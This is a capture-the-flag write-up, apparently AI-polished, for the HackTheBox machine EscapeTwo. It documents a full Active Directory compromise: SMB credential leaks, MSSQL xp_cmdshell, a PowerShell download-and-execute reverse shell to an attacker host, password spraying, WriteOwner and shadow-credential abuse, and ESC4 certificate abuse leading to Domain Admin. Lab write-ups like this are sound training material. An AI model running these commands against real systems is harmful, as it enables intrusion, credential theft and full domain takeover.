Alright — this is the version you were actually aiming for.
Slower, clearer, more instructional, tighter logic, and clean transitions. No shortcuts.

---

1. Target Overview

Machine Name: EscapeTwo
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.232.128
Objective: Obtain Domain Administrator access

This was an Active Directory environment presented in an assumed breach scenario, meaning I started with valid low-privileged domain credentials. From the initial scan, I identified typical AD services along with MSSQL, which immediately suggested multiple potential attack paths including SMB data exposure, database abuse, and eventual domain escalation through misconfigurations.

The overall attack path ended up being a clean chain:

• SMB → credential exposure

• MSSQL → remote code execution

• Configuration files → credential reuse

• ACL abuse → account takeover

• AD CS → full domain compromise

Tools Used

• Rustscan

• Nmap

• NetExec (nxc)

• smbclient

• xmllint

• BloodHound / RustHound

• BloodyAD

• Certipy

• Evil-WinRM

---

2. Enumeration

Initial Network Scan

I began with a fast port scan using Rustscan:

rustscan -a 10.129.232.128 -b 6000

From this, I identified several key services:

• 53 → DNS

• 88 → Kerberos

• 135 / 139 / 445 → RPC / SMB

• 389 → LDAP

• 1433 → MSSQL

Right away, MSSQL stood out as important. In internal environments, MSSQL is often a high-value target because it can be abused for:

• OS command execution (xp_cmdshell)

• Hash theft (xp_dirtree)

I made a mental note to come back to this later if I could obtain credentials.

During LDAP-related output, I also observed the domain FQDN:

DC01.sequel.htb

To ensure proper domain interaction, I added it to my hosts file.

---

Starting Point (Assumed Breach)

I was given valid credentials:

rose : KxEPkKe6R8su

Because I already had domain access, I shifted immediately into internal enumeration rather than trying to gain initial access.

---

Enumerating Domain Users

My first step was to build a list of domain users:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users

This revealed several users, including:

• sql_svc

• ryan

• ca_svc

At this stage, I wasn’t looking for anything specific yet — just building a picture of the environment.

---

BloodHound (Initial Pass)

Since I already had valid credentials, I collected domain data using RustHound and loaded it into BloodHound.

I checked:

• Group memberships

• Privileges

• Attack paths

At this point, rose did not have any useful privileges or attack paths, so I moved on.

---

SMB Enumeration

Next, I checked SMB access:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares

I saw:

• Users → READ

• Accounting Department → READ

Before diving into SMB, I also checked WinRM:

nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su

This failed, confirming I could not get a shell directly.

So SMB became my next focus.

---

Share Enumeration (Targeted Approach)

Rather than manually browsing shares, I used spider_plus to quickly enumerate files:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'

After reviewing the output:

• Users → mostly default .lnk files (noise)

• Accounting Department → two Excel files

That stood out immediately. In real environments, files like this often contain sensitive business data — sometimes including credentials.

---

Extracting and Analyzing Files

I downloaded both files:

smbclient -U rose //10.129.232.128/'Accounting Department'

Inside smbclient:

get accounting_2024.xlsx
get accounts.xlsx

Since .xlsx files are just ZIP archives, I extracted one:

unzip accounting_2024.xlsx

This gave me a directory structure with XML files.

The key file for content is:

xl/sharedStrings.xml

I formatted it for readability:

xmllint --format xl/sharedStrings.xml

Inside, I found plaintext credentials:

Username: sa Password: MSSQLP@ssw0rd!

3. Exploitation

MSSQL Authentication

I tested the credentials against MSSQL:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

Authentication succeeded.

Now I had direct access to the database server.

---

Testing Command Execution

Next, I needed to determine whether I could execute system commands.

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami

Output:

sequel\sql_svc

This confirmed two critical things:

1. xp_cmdshell is enabled

2. Commands execute as the SQL Server service account (sql_svc)

This is powerful because:

• I now have OS-level execution

• I’m running as a domain account, not just a database user

  

---

Getting a Reverse Shell

To stabilize access, I executed a PowerShell reverse shell:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"

Listener:

Connection received.

I now had a shell as:

sequel\sql_svc

At this point, exploitation is complete — I have a foothold.

---

4. Privilege Escalation

Local Enumeration

I started with basic checks:

whoami /all

Nothing useful.

Next, I looked at the root directory:

gci C:\

I noticed something unusual:

SQL2019

Non-standard directories are always worth investigating.

---

Configuration File Discovery

I navigated into it:

cd C:\SQL2019\ExpressAdv_ENU

Then listed files:

gci

One file stood out:

sql-configuration.ini

I opened it:

type sql-configuration.ini

Inside:

SQLSVCACCOUNT=SEQUEL\sql_svc SQLSVCPASSWORD=WgSZAF6CysDQbGb3

This was another credential — and likely reusable.

---

Password Spraying

I tested the password across all users:

nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success

Results:

• ryan → valid

• sql_svc → valid

Now I had a new user: ryan

---

Revisiting BloodHound (Critical Step)

At this point, I had new credentials.

That means:

I need to re-check BloodHound.

This is where many people miss paths.

Now I saw:

• ryan → WriteOwner over ca_svc

---

Understanding WriteOwner

WriteOwner allows me to:

• Change the owner of an object

• Once owner → grant myself full permissions

So this is effectively:

Indirect full control over the account

---

Taking Over ca_svc

I used BloodyAD:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan

Then granted full control:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan

Now I fully controlled ca_svc.

---

Shadow Credentials Attack

Instead of resetting the password (noisy), I used Shadow Credentials:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc

This works by:

• Adding a certificate to the account

• Allowing authentication without password

Now I could authenticate as ca_svc.

---

AD CS Enumeration

I checked for certificate abuse:

certipy find -u ca_svc -hashes <hash> -dc-ip 10.129.232.128

I found:

• Vulnerable template → ESC4

---

ESC4 Abuse

ESC4 allows modification of certificate templates.

I modified the template:

certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication

Then requested a certificate as Administrator:

certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128

This generated:

administrator.pfx

---

Domain Administrator Access

I authenticated using the certificate:

certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

This gave me the Administrator NT hash.

Final step:

evil-winrm -i 10.129.232.128 -u administrator -H <hash>

I now had full Domain Admin access.

---

5. Lessons Learned

• SMB shares are still one of the easiest ways to leak credentials

• MSSQL is a powerful pivot point when exposed internally

• Configuration files frequently expose reusable credentials

• Password reuse is still extremely common

• BloodHound must be revisited after every privilege change

• WriteOwner is effectively a full takeover primitive

• Shadow Credentials provide stealthy persistence and access

• AD CS misconfigurations are one of the most dangerous escalation paths today

---

6. Defensive Insight

• Restrict SMB access and audit file exposure

• Never store plaintext credentials in files

• Disable or restrict xp_cmdshell

• Enforce password uniqueness across accounts

• Monitor ACL changes (especially ownership changes)

• Audit AD CS templates regularly

• Monitor certificate enrollment activity

---

Useful Commands

rustscan -a 10.129.232.128 -b 6000

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares

nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'

smbclient -U rose //10.129.232.128/'Accounting Department'

unzip accounting_2024.xlsx

xmllint --format xl/sharedStrings.xml

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami

rlwrap nc -nlvp 7777

nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc

certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication

certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128

certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

evil-winrm -i 10.129.232.128 -u administrator -H <hash>

---